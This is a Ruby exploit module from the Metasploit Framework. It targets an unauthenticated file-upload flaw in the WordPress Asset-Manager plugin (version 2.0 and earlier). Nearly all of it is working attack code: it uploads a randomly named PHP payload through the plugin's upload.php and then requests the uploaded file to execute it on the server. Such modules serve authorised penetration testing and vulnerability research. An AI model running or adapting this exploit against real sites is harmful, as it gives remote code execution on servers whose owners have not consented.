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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ##
require 'msf/core' require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE
def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress plugin. By abusing the upload.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' => [ 'Sammy FORGIT', # initial discovery 'James Fitts <fitts.james[at]gmail.com>' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '82653' ], [ 'BID', '53809' ], [ 'EDB', '18993' ], [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 26 2012'))
register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) ], self.class) end
def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
data = Rex::MIME::Message.new data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{peer} - Uploading payload #{payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data })
if not res or res.code != 200 or res.body !~ /#{payload_name}/ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") end
print_status("#{peer} - Executing payload #{payload_name}") res = send_request_raw({ 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}", 'method' => 'GET' })
if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed") end end end
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